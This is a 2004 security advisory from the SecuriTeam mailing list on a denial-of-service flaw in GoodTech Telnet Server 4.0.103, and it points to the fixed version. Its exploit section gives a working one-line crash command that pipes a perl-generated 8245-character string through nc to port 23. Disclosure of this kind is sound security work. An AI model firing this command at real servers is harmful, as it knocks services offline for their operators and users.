[NT] GoodTech Telnet Server DoS

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To: list@securiteam.com
Date: 5 Jan 2004 11:19:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  GoodTech Telnet Server DoS
------------------------------------------------------------------------

SUMMARY

 <http://www.goodtechsys.com/telnetnt2000.asp> Telnet Server for Windows
NT/2000/XP "turns a Windows NT/2000/XP system into a multi-user Telnet
server". The program does not check the strings passed to it as input,
this allows a remote attacker to crash the server by sending the server a
long string.

DETAILS

Vulnerable systems:
 * GoodTech Systems Telnet Server version 4.0.103

Immune systems:
 * GoodTech Systems Telnet Server version 4.0.104

Exploit:
To test the vulnerability simply send a big string to the telnet server,
perl -e 'print "a"x8245' | nc server 23

Alternatively, a string like:
aaaa[..a..]aa ( 8245 of a )

Solution:
To fix the bug simply go on the GoodTech Systems' official website,
<http://www.goodtechsys.com/> http://www.goodtechsys.com/, and download
the latest version 4.0.104 of GoodTech Systems Telnet Server for Windows
NT/2000/XP.

ADDITIONAL INFORMATION

The information has been provided by <mailto:fdonato@autistici.org>
Donato Ferrante.

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